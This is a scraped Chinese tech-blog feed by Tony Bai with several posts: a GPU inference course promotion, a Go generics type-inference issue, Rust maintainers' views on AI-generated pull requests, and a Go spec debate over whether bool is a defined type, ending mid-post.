Wall）。\nAI 时代的底色：算力过剩，访存为王 在传统的软件开发中，我们习惯了用 CPU 的思维去思考性能。我们认为程序跑得慢，是因为“计算太复杂”，我们需要更强的算力（更快的 CPU 频率）。\n但在大语言模型（LLM）的世界里，逻辑变了。\n大模型在生成文本时，是**逐字生成（自回归）**的。为了不每次都把前面说过的话重新计算一遍，模型会把之前所有上下文的内部特征（Key 和 Value 矩阵）全部保存在显存里。这份庞大的“运行记忆”，就是 KV Cache。\n随着上下文越来越长（比如从 4K 飙升到 128K 甚至百万级），这份 KV Cache 会像滚雪球一样膨胀。\n这就是为什么业界说：KV Cache 是大模型推理名副其实的“吞金兽”。\n更要命的是，每次生成一个新的字，GPU 都必须把这份庞大的 KV Cache 从显存（HBM）完整地搬运到计算核心（SRAM）里过一遍。\n这就好比你有一个世界上切菜最快的厨师（GPU 算力），但他每次切一片肉，都要跑到 10 公里外的仓库（显存）去取。厨师的手速再快也没有用，整体速度完全被运货卡车的速度（显存带宽）锁死了。\n这就是困扰所有 AI 工程师的 “内存墙”。也是为什么各大公司疯狂抢购高显存、高带宽的 H100 显卡的原因。\n而谷歌的 TurboQuant 之所以引发地震，正是因为它通过极致的数学算法（极坐标变换 + 1-bit 残差误差校验），直接在软件层面把搬运的数据量压缩了 6 倍！这意味着，同样的硬件，现在能跑更长的上下文、支持更高的并发。存储巨头们能不慌吗？\n为什么后端工程师必须懂 GPU？ 你可以说：“我只是个调 OpenAI 兼容API 的后端工程师，硬件底层关我什么事？”\n在过去的一年里，这是行得通的。但随着开源模型（如 GLM、Qwen、MiniMax、DeepSeek、KIMI等）的全面爆发，以及企业对数据隐私、成本控制的极致追求，“本地化/私有化部署大模型” 也正在成为一些中大型企业的刚需。\n当你作为架构师或后端主力，被老板要求把一个 70B 的大模型部署到公司的服务器上时，真正的挑战才刚刚开始：\n面对 OOM（显存溢出），你该如何调整参数？ 并发量稍微一高，首字延迟（TTFT）就卡到几十秒，你该怎么排查？ 采购硬件时，你是买 8 张便宜的 RTX 4090，还是花高价租用带 NVLink 的 A100/H100？ 你该如何向团队解释引入 vLLM、FlashAttention 和 INT8/FP8 量化的必要性？ 如果你把 GPU 当成一个“跑得更快的 CPU”来用，你将会在上述每一个问题上栽大跟头。\n你需要建立一套全新的**“硬件心智模型”**，这也是我编写这门《AI 工程师的 GPU 入门课：从硬件视角看大模型推理》微专栏的主要目标。\n这门微专栏将教你什么？ 市面上关于 GPU 和 CUDA 的教程很多，但大多是教你如何写出复杂的 C++ 图形渲染代码，或者如何在学术上推导矩阵乘法。\n这门微专栏与众不同。它是专为后端/软件工程师打造的“白盒化” GPU 入门课程。\n我们不教图形渲染，不深究复杂的 C++ 语法。我们将直接切入大模型推理的痛点，带你一步步从物理架构走到前沿的 AI 工程技术。\n如果你想吃透热门技术： 我们将为你讲透 FlashAttention、PagedAttention (vLLM)、模型量化背后的物理原理。你会发现，这些看似高深的技术，本质上都是在和“内存墙”做斗争。 如果你追求实战落地： 我们不仅教你看懂硬件，还会教你用 Profiling 工具（性能分析器）像侦探一样排查慢查询；作为加餐，我们甚至会教你如何**用纯 Go 语言（Zero CGO）**直接点火发射 CUDA 内核！ 课程目录全景图 为了让你对这趟旅程有一个清晰的预期，以下是本专栏的完整地图：\n第一阶段：硬件心智模型\n第 01 讲 | 硬件解剖：为什么 CPU 是“法拉利”，GPU 是“大巴车”？（含 5090 vs H100 对比）\n第 02 讲 | 内存金字塔：HBM、SRAM 与不可逾越的“内存墙”\n第二阶段：编程模型与工具链\n第 03 讲 | CUDA 编程模型：指挥“千军万马”的线程艺术\n第 04 讲 | 性能侦探：性能侦探：拆解 Hello World Kernel 与 Profiling 实战\n第三阶段：AI 工程进阶\n第 05 讲 | 显存管理革命：从 KV Cache 到 PagedAttention (vLLM)\n第 06 讲 | 算子融合魔法：FlashAttention 的底层原理\n第 07 讲 | 精度与量化：精度与量化：INT8/FP8 为什么既快又省？\n第 08 讲 | 分布式推理：Tensor Parallelism (TP) 与通信墙\n第 09 讲 | 终极指南：如何科学计算 AI 算力需求与硬件选型？\n特别加餐：Gopher 的专属浪漫\n第 10 讲 | 加餐：Go 语言的 GPU 编程——Gopher 的逆袭 小结 在算力的装备竞赛里，最锋利的武器未必是更昂贵的芯片，而是深刻理解软硬件边界的人。\n正如谷歌 TurboQuant 证明的那样：懂底层的工程师，只需改写一行底层逻辑，就可能撬动万亿级别的市场价值。\n算力时代，不要只做“调包”的局外人。\n准备好跨越 CPU 的舒适区，跟我一起深入算力的硅基心脏了吗？\n点击这里或扫描下方二维码，开启你的GPU与AI推理工程的入门之旅：\n我将在第一讲等你。\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/03/28/ai-engineer-gpu-introduction-course/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/ai-engineer-gpu-introduction-course-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/03/28/ai-engineer-gpu-introduction-course\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/03/28/ai-engineer-gpu-introduction-course\"\u003ehttps://tonybai.com/2026/03/28/ai-engineer-gpu-introduction-course\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e就在最近，科技界发生了一件极其戏剧性的事情。本周三美股开盘，全球存储产业巨头——美光、西部数据、希捷的股价遭遇了“黑色时刻”，普遍明显下跌（3%~6%）。\u003c/p\u003e","title":"谷歌一篇论文砸崩内存巨头？不懂“显存墙”，怎么做 AI 时代的工程师！"},{"content":"\n本文永久链接 – https://tonybai.com/2026/03/27/function-type-inference-should-work-in-all-assignment-contexts\n大家好，我是Tony Bai。\n在这个大模型（AI）写代码如喝水一般简单的时代，你有没有遇到过一种极其憋屈的场景：\n你让 Claude Code 或者 Codex 帮你写了一段 Go 语言代码，逻辑清晰，结构优雅，连它自己都觉得这波操作满分。但当你满怀期待地按下 go run 时，Go 编译器却无情地丢给你一个红色报错：\ncannot use generic function g without instantiation （不能在未实例化的情况下使用泛型函数 g） AI 沉默了，它不明白自己错在哪；如果你是个习惯了 Rust 那种“地表最强类型推断”的开发者，你可能会当场流下心酸的眼泪—— 在 Rust 里闭着眼睛都能推断出来的泛型参数，怎么到了 Go 里，它就突然变成了“残疾”？\n如果你曾经被这个“诡异”的泛型报错折磨过，甚至因此怀疑过自己的智商，不要怪 AI 不懂 Go 语言。\n因为就在最近，连“Go 语言之父之一” 的 Robert Griesemer 都亲自在官方 GitHub 上提了一个 Issue，承认这个语法限制不仅反直觉，甚至一度被认为是一个编译器 Bug！Griesemer 本人随即在 Issue 中自我更正，明确这需要语言规范(spec)层面的修改，而不只是修编译器。\n今天，我们就来扒开这个在 Go 官方仓库引发热议的 Issue #77245，看看这个即将改变Go工程师日常编码的“底层规范级修补”，到底是怎么回事。\n“薛定谔”式的类型推断 自从 Go 1.18 引入泛型以来，“不够聪明”的类型推断（Type Inference）就一直被开发者诟病。直到 Go 1.21 发布，官方宣称大幅增强了这部分能力：只要在赋值上下文中，目标类型是明确的，Go 就可以帮你自动推断出泛型函数的参数类型，不需要你手动写 g[int] 了。\n这听起来很美好，对吧？\n但现实是极其骨感的。我们来看看 Robert Griesemer 亲自给出的这个“薛定谔式的推断”的例子：\ntype S struct{ f func(int) } func g[T any](T) {} // 这是一个简单的泛型函数 func _(s S) { s.f = g // ✅ 没问题！Go 编译器智商在线，完美推断出 T 是 int s = S{f: g} // ❌ 报错：不能在没有实例化的情况下使用泛型函数 g s = S{f: g[int]} // ✅ 没问题！必须手动写死 g[int] } 看懂这个坑在哪里了吗？\n当你写 s.f = g 的时候，编译器智商在线，它知道 s.f 需要一个 func(int)，所以它机智地把泛型函数 g 实例化成了 g[int]。\n但是（最气人的但是）！\n当你使用结构体字面量 S{f: g} 进行初始化时，编译器却突然“智力下线”了。它死活推断不出 g 需要被实例化为 int，非逼着你极其啰嗦地写上 g[int]！\n这种“一半聪明，一半智障”的表现，不仅存在于结构体里。在切片（Slice）、数组、Map，甚至是 Channel 的发送操作中：\ntype F func(int) type A [10]F type S []F type M map[string]F type C chan F func g[T any](T) {} func _() { var a A a[0] = g // ok a = A{g} // error: cannot use generic function g without instantiation a = A{g[int]} // ok var s S s[0] = g // ok s = S{g} // error: cannot use generic function g without instantiation s = S{g[int]} // ok var m M m[\u0026#34;foo\u0026#34;] = g // ok m = M{\u0026#34;foo\u0026#34;: g} // error: cannot use generic function g without instantiation m = M{\u0026#34;foo\u0026#34;: g[int]} // ok var c C c \u0026lt;- g // error: cannot use generic function g without instantiation c \u0026lt;- g[int] // ok } 只要你使用了复合字面量（Composite Literals），这套“残疾”的类型推断就会集体失效。\n为什么 Rust 和 AI 看了会沉默？ 如果你去问一个 Rust 开发者：“目标结构体的字段类型 f func(int) 明明就摆在那里，Go 编译器为什么会看不见？”\nRust 开发者可能会拍着你的肩膀叹气。在 Rust 强大的类型推断系统面前，这种上下文推导简直是基本操作，根本不需要开发者操心。\n而在如今 AI 辅助编程大行其道的时代，这个问题更加被无限放大。\n大模型在学习了海量代码后，它的“直觉（Next-token prediction）”告诉它，这里上下文极其明确，根本不需要写死类型参数。于是 AI 开心地生成了 S{f: g}，结果却被 Go 编译器无情打脸。你不得不停止思考，手动去把 AI 生成的代码一行行加上 [int]、[string]……\n这根本不是 AI 的幻觉，而是 Go 语言规范（Spec）在当年设计时，由于过于严谨，给自己留下的思维盲区。\n在最初的 Go Spec 中，关于泛型函数实例化生效的上下文规定得极其死板（只在某些直接赋值的场景生效）。当时的 Go 团队并没有抽象出一个统一的 “赋值上下文（Assignment Context）” 概念。这导致散落在各个角落的复合字面量操作，全都成了漏网之鱼。\n官方的修补：一场牵一发而动全身的“规范手术” 起初，Robert Griesemer 以为这只是个单纯的编译器 Bug，只要改改代码就行了。\n但随着讨论的深入，核心成员们（如 Austin Clements）发现，这事儿没那么简单。要从根本上解决这个问题，必须对 Go 语言规范（Spec）动刀子！\n在随后的内部评审中，Go 团队做出了一个决策：\n他们没有选择“头痛医头，脚痛医脚”地去给结构体、Map、切片分别打补丁。而是选择在 Go 语言最底层的定义——“可赋值性（Assignability）” 上做文章。\n他们提出了一个新的 CL ，只要一个表达式符合“可赋值性”的校验（无论是等号赋值、结构体初始化、还是 Channel 发送），Go 编译器就必须启动泛型函数的自动类型推断。\n这就好比给整个 Go 语言的类型推断系统，彻底打通了奇经八脉。\n小结 到这里，可能有开发者会问：“不就是少写几个 [int] 吗？至于这么大惊小怪吗？”\n在几行代码的 Demo 里，这确实不是事。\n但在大厂动辄十几万或几十万行的微服务源码中，当我们使用泛型去实现高阶的“工厂模式”、“回调注册”、“依赖注入”时，代码中会充斥着大量的结构体初始化和泛型函数传递。\n如果没有统一的类型推断，原本极其优雅的代码，就会变成被各种中括号 [T, K, V] 塞满的“乱码”。\n更少的手动类型标记，意味着更低的人类认知负荷（Cognitive Load），以及对 AI 代码生成工具更友好的兼容性。\nGo 语言之所以能在一众花里胡哨的新语言中稳坐云原生霸主的交椅，靠的绝不仅是并发，更是这种对“代码清爽度”和“心智负担”极其克制、甚至有些偏执的追求。\n好消息是，这个被开发者诟病已久的痛点，已经被 Go 官方提案评审委员会 “正式接受（Accepted）”。\n我们极有可能在即将到来的后续版本(比如Go 1.27)中，看到这段啰嗦的泛型代码彻底消失。\n资料链接：\nhttps://github.com/golang/go/issues/77245 https://go.dev/cl/751312 今日互动探讨：\n在日常写 Go 泛型的时候，你还遇到过哪些让你觉得“Go 编译器简直是个智障”的奇葩场景？或者在对比 Rust/TS 时，你觉得 Go 的类型系统最需要补齐哪个短板？\n欢迎在评论区疯狂吐槽与分享!\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/03/27/function-type-inference-should-work-in-all-assignment-contexts/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/function-type-inference-should-work-in-all-assignment-contexts-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/03/27/function-type-inference-should-work-in-all-assignment-contexts\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/03/27/function-type-inference-should-work-in-all-assignment-contexts\"\u003ehttps://tonybai.com/2026/03/27/function-type-inference-should-work-in-all-assignment-contexts\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在这个大模型（AI）写代码如喝水一般简单的时代，你有没有遇到过一种极其憋屈的场景：\u003c/p\u003e\n\u003cp\u003e你让 Claude Code 或者 Codex 帮你写了一段 Go 语言代码，逻辑清晰，结构优雅，连它自己都觉得这波操作满分。但当你满怀期待地按下 go run 时，Go 编译器却无情地丢给你一个红色报错：\u003c/p\u003e","title":"Rust 看了流泪，AI 看了沉默：扒开 Go 泛型最让你抓狂的“残疾”类型推断"},{"content":"\n本文永久链接 – https://tonybai.com/2026/03/26/rust-project-perspectives-on-ai\n大家好，我是Tony Bai。\n在这个大模型狂飙突进的时代，只要在推特或者掘金上刷一刷，你几乎每天都能看到这样的“成功学”分享：\n“我是如何用 Claude Code + 4.6 Sonnet 在一天内向知名开源项目提交了 10 个 PR 的！”\n“用 Cursor 混 GitHub 绿点，原来这么简单！”\n这些利用 AI 工具轻松突破“开源门槛”的开发者们，正在享受着前所未有的技术平权红利。\n但你有没有想过，站在这些开源项目背后的核心维护者（Maintainers）们，正在经历着怎样的地狱？\n继Go核心团队拒绝 AI 署名，为AIGC 时代的Go项目划下的“工程红线”后，前不久，Rust 项目的核心开发者、语言设计团队负责人 Niko Matsakis 在内部发起了一场长达数周的“大摸底”，旨在收集 Rust 核心贡献者和维护者们对于 AI 辅助编程的真实看法。\n目前阶段性地汇总出的这份长达 20 多页的内部讨论纪要，犹如一枚深水炸弹，撕开了“AI 编程繁荣”背后的残酷真相：毫无节制的 AI 生成代码，正在不可逆转地榨干 Rust 核心团队的精力，甚至将开源社区推向崩溃的边缘。\n今天，我们就来扒开这份极其硬核的内部讨论，看看在这个世界上一贯严谨、对代码质量要求极高的社区里，顶级的Rust工程师们是如何看待、抵制、甚至反制 AI 编程的。\n当 AI 沦为“盲目自信”的催化剂 在很多人的幻想中，AI 是小白进阶的导师，是帮你看懂复杂底层源码的引路人。\n但在 Rust 维护者们的眼里，绝大多数情况恰恰相反：AI 正在沦为某些开发者盲目自信的催化剂。\n一位Rust贡献者一针见血地指出了问题所在：\n“AI 给那些原本心怀愧疚、不敢随便提交低质量代码的人，盖上了一个‘官方批准’的假印章。对于那些处于‘达克效应（指能力欠缺的人产生虚幻的优越感）’状态的开发者来说，AI 简直就是一剂催化剂。它极大地膨胀了他们的自信，却严重削弱了他们真正的能力。”\n在传统的开源世界里，“提交 PR”是一项极其庄重的工作。你需要阅读庞大的代码库，理解设计哲学，甚至要为了改一行代码而去推演上下文的几百个变数。这种“艰难的门槛”本身就是一种过滤机制。\n但现在呢？\n你只需要把报错信息扔给大模型或专门的编码智能体，比如Claude Code，它会生成一段看起来“极度合理”、语法看似“完美无瑕”的 Rust 代码。你连这行代码底层的生命周期（Lifetime）都没看懂，就欢天喜地地点了 git commit。\n你以为你是在为开源做贡献，其实你只是把“寻找代码中细微致命毒药”的工作，无情地转嫁给了那些用爱发电的 Rust 维护者。\n被“AI 传声筒”折磨到崩溃的维护者 如果说 AI 生成的代码只是质量差，那维护者大不了直接关闭 PR 就可以了。真正让 Rust 核心团队感到绝望甚至想要“退网”的，是那些把 AI 当作**“传声筒”**的贡献者。\n让我们来看另一个让核心成员愤怒到使用加粗字体的真实案例：\n“一些贡献者甚至充当起了审查者（Reviewer）和大模型之间的‘传声筒’！他们复制我提问的 Review 意见，扔给大模型，然后把大模型生成的胡言乱语直接复制回来回复我。看在上帝的份上，求求你们停下吧！我想强调，这极其令人抓狂。这是导致我极度倦怠（Burn out）的头号因素！”\n开源项目不仅仅是一堆冷冰冰的代码，它更是一个“人与人交流、碰撞、建立信任”的社区（正如 Peter Naur 在经典文章《Programming as Theory Building》中所言）。\n当维护者满怀期待地与你讨论某个特性的底层设计时，你却用极其冗长、没有营养、甚至充满幻觉的 AI 废话来敷衍他们。这不仅是在浪费时间，更是在无情地践踏开源社区最宝贵的“信任契约”。\n另一位Rust贡献者的控诉则充满了无奈：\n“我完全不知道该怎么解决这个问题：‘没错，你很快就生成了一段看起来很合理的代码，但它在微妙的细节上完全是错的，而现在你正在浪费所有人的时间去排查它’。”\n在没有 AI 的时代，分辨垃圾代码很容易；但在 AI 时代，大模型最擅长的，就是把垃圾包装成米其林三星的模样端给你。\n全面封杀，还是“用魔法打败魔法”？ 面对这群不知疲倦的“AI 水军”，Rust 核心团队该怎么办？\n在这份内部文档中，关于“如何对待 AI”的讨论，呈现出了极其撕裂的两种极端：\n极端一：道德洁癖与坚决抵制 一些拥有极客精神的老兵认为，目前所有的 LLM 都是建立在“盗窃版权数据”的基础上的。不仅如此，大模型的训练正在消耗极度恐怖的能源，甚至让那些本该关闭的煤炭发电厂死灰复燃，加剧气候危机。\n对于这些开发者而言，在 Rust 中拥抱 AI，就是对开源精神的背叛，是“令人作呕的”。他们主张全面封杀 AI 提交，并要求所有贡献者必须证明其代码完全由人类编写。\n极端二：承认现实，用魔法打败魔法 但现实是残酷的。Niko Matsakis 等负责人非常清楚：“潘多拉的魔盒已经打开，堵是堵不住的。”\n既然无法阻止人们用 AI 写 PR，那就想办法用规则甚至用 AI 自身来防御 AI。\n在这场激烈的讨论中，Rust 团队提出了几项极具参考价值的**“防御性架构与策略”**，值得每一个饱受 AI 代码折磨的团队学习：\n引入“反垃圾邮件”级的审查门槛：不再一视同仁地对待所有 PR。建立类似“Web-of-Trust（信任网）”的机制。只有当你在社区里通过人类交互证明了你的能力（提交过 N 次高质量代码）后，你的 PR 才会被优先审核。对于那些上来就提交上千行完美格式代码的陌生账号，直接打入冷宫。 强制签署“反 AI 免责声明”：在提交 PR 时，强制要求作者勾选确认：“我完全理解我提交的每一行代码，并能亲自回答 Reviewer 的任何问题；我没有直接复制大模型的回复来敷衍维护者。” 如果一旦发现充当“AI 传声筒”，立即实施封禁。 以毒攻毒，引入 AI 门卫：既然你们用大模型批量生成 PR，那我们就用大模型来做“初筛”。在人类 Reviewer 看代码之前，先让 AI Agent 去自动扫描那些“看似合理实则荒谬”的逻辑漏洞，直接打回重做。 AI 狂欢下的“零付费”收割 在整份纪要中，最让我感到扎心的一段话，是关于“开源维护者生存现状”的拷问。\n目前，像 OpenAI、Anthropic 这样的 AI 巨头，估值动辄千亿美元。它们的模型能写出越来越好的 Rust 代码，很大程度上是因为它们疯狂吸收了 Rust 社区十几年积累的心血。\n然而，当这些估值千亿的公司推出“编程 Agent”，导致开源社区的维护工作量呈指数级爆发时，那些没日没夜帮这些“AI 垃圾代码”擦屁股的 Rust 核心维护者们，却拿不到一分钱的报酬！\n一位核心成员悲愤地提议：\n“也许我们应该直接去找那些 AI 公司（他们内部也在大量使用 Rust），要求他们出资赞助我们的维护者。虽然很多人在道德上抵制这些公司，但我依然希望拿他们的钱来养活我们的兄弟们。”\n这就好比一家巨无霸外卖平台，每天把几十万份外卖倾倒在你的社区门口，然后让社区里那些没有工资的清洁工志愿者去疯狂打扫。\n在 AI 巨头狂欢的盛宴下，开源世界的基石正在被悄无声息地榨干。\n小结：退潮之后，谁在裸泳？ 这份长达 20多 页的讨论，给所有沉浸在“AI 改变命运”幻觉中的开发者敲响了一记震耳欲聋的警钟。\n不可否认，AI 确实是极其强大的工具。文档中也有不少成员承认，使用 AI 让他们感到了“赋能（Empowered）”，让他们能轻松搞定平时不愿意碰的繁琐文档和构建脚本。\n但工具的强大，永远无法掩盖使用者的平庸。\n当你可以用 Claude Code 在 10 秒内生成一段精妙的多线程 Rust 代码时，请记住：\n只有当你真正懂所有权（Ownership）、懂借用检查（Borrow Checker）、懂底层内存布局，并且能在发生诡异 Panic 时独立完成 Debug 的那一刻，这段代码才真正属于你。\n否则，你不过是 AI 巨头商业版图上，一个毫无感情的、廉价的“代码搬运工”。\n不要用战术上的（生成代码）勤奋，去掩盖战略上的（底层认知）懒惰。\n在代码生成的迷雾中，保持清醒的头脑，去深钻那些 AI 无法替代的系统级设计思维和底层工程哲学，才是我们在大模型时代唯一的生路。\n资料链接：https://nikomatsakis.github.io/rust-project-perspectives-on-ai/feb27-summary.html\n今日互动探讨：\n在你的日常开发或开源贡献中，有没有被同事或陌生人提交的“AI 垃圾代码”狠狠坑过？你觉得开源社区应该全面封杀 AI 代码，还是张开双臂拥抱它？\n欢迎在评论区疯狂吐槽与分享！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/03/26/rust-project-perspectives-on-ai/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/rust-project-perspectives-on-ai-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/03/26/rust-project-perspectives-on-ai\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/03/26/rust-project-perspectives-on-ai\"\u003ehttps://tonybai.com/2026/03/26/rust-project-perspectives-on-ai\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在这个大模型狂飙突进的时代，只要在推特或者掘金上刷一刷，你几乎每天都能看到这样的“成功学”分享：\u003c/p\u003e\n\u003cp\u003e\u003cem\u003e“我是如何用 Claude Code + 4.6 Sonnet 在一天内向知名开源项目提交了 10 个 PR 的！”\u003c/em\u003e\u003c/p\u003e","title":"Rust 核心团队大吐苦水：求求你们别再用 AI 提交“垃圾 PR”了！"},{"content":"\n本文永久链接 – https://tonybai.com/2026/03/25/go-spec-contradiction-in-types-section\n大家好，我是Tony Bai。\n在 Go 语言的世界里，type 是我们每天都在打交道的关键字。但如果我今天问你一个极其基础的问题：\nGo 语言内置的 bool 类型，到底是不是一个“Defined Type（已定义类型）”？\n你可能会愣一下，然后不假思索地回答：“那必须是啊，bool 是语言自带的，当然是已定义的。”\n但如果我再追问一句：“既然它是 Defined Type，为什么我们不能给它绑定方法，像 func (b bool) IsTrue() {} 这样写？”\n你可能就彻底懵了。\n别慌，如果你对这个问题感到困惑，说明你已经触及到了 Go 语言类型系统设计中最深、也最容易被忽视的一个“历史遗留问题”。\n就在最近，Go 官方 GitHub 仓库中，一个看似在“抠字眼”的 Issue #78208（spec: contradiction in Types section） 引来了社区里多位Go开发者下场激烈辩论，最终甚至连 Go 语言三巨头之一、被誉为“Go 语言之父之一”的 Robert Griesemer 都亲自现身，发表了一段长文来“认错”，并用拉丁语写下了那句沉重的 “Mea culpa”（我的锅）。\n今天，我们就来当一次“技术侦探”，顺着这个 Issue 的蛛丝马迹，硬核扒开 Go 语言规范（Spec）的底层，看看这个小小的 bool 类型背后，到底藏着 Go 团队一段怎样的设计“原罪”，以及它对我们日常编码产生了多大的深远影响。\n一段自相矛盾的官方“圣经” 故事的起因非常简单。一位开发者在精读 Go 语言官方规范（Spec，被誉为 Go 语言的“圣经”）时，发现了一个极其明显的逻辑矛盾。\n在 Types 章节，规范明确地将“具名类型（Named types）”分为了三类：\n“Predeclared types, defined types, and type parameters are called named types.”\n（预声明类型、已定义类型和类型参数，统称为具名类型。）\n这里的措辞，清晰地将这三者并列。\n但当你翻到 Boolean types 章节时，却赫然写着：\n“The predeclared boolean type is bool; it is a defined type.”\n（预声明的布尔类型是 bool；它是一个已定义类型。）\n矛盾爆发了！\n如果“预声明类型”和“已定义类型”是平级的、不同的两个分类，那 bool 怎么可能既是前者，又是后者？这就像生物分类学里说“哺乳动物和爬行动物是不同的两个纲”，然后又说“老虎是一种爬行动物”一样荒谬。\n这个问题瞬间在社区里炸开了锅。\n一场关于“定义”的思辨 Issue 下方的评论区，堪称一场神仙打架。\n一部分开发者认为这是明显的 Spec 笔误。他们旗帜鲜明地指出：\n“bool 不是一个已定义类型。因为它不能拥有方法。对于一个已定义类型 T，它必须出现在 type T … 的定义中。”\n这话说得掷地有声。我们都知道，type MyInt int 之后，MyInt 才是一个真正的 Defined Type，我们可以给它绑定方法。而 bool 显然不符合这个特征。\n但另一派开发者，也开始了精彩的“诡辩”。他们认为：\n“Spec 并没有说这三个分类是互斥的。‘预声明’只是意味着这个类型是编译器内置的，但它本质上依然是一个‘已定义’的类型。只不过它的定义对我们不可见罢了。”\n双方你来我往，从类型的方法集，辩论到 Go 1.9 引入类型别名（Type Alias）时的历史背景，再到 Go 1.18 引入泛型后对“具名类型”的重新定义。\n就在大家争得面红耳赤之时，Go 语言之父之一 Robert Griesemer 悄然现身，一锤定音。\nGo 语言类型系统的“原罪” Robert Griesemer 的长篇回复，像一本尘封已久的历史档案，为我们揭开了 Go 语言在类型设计上的一段“黑历史”。\n他首先承认：“没错，你们都被搞糊涂了。这个 Spec 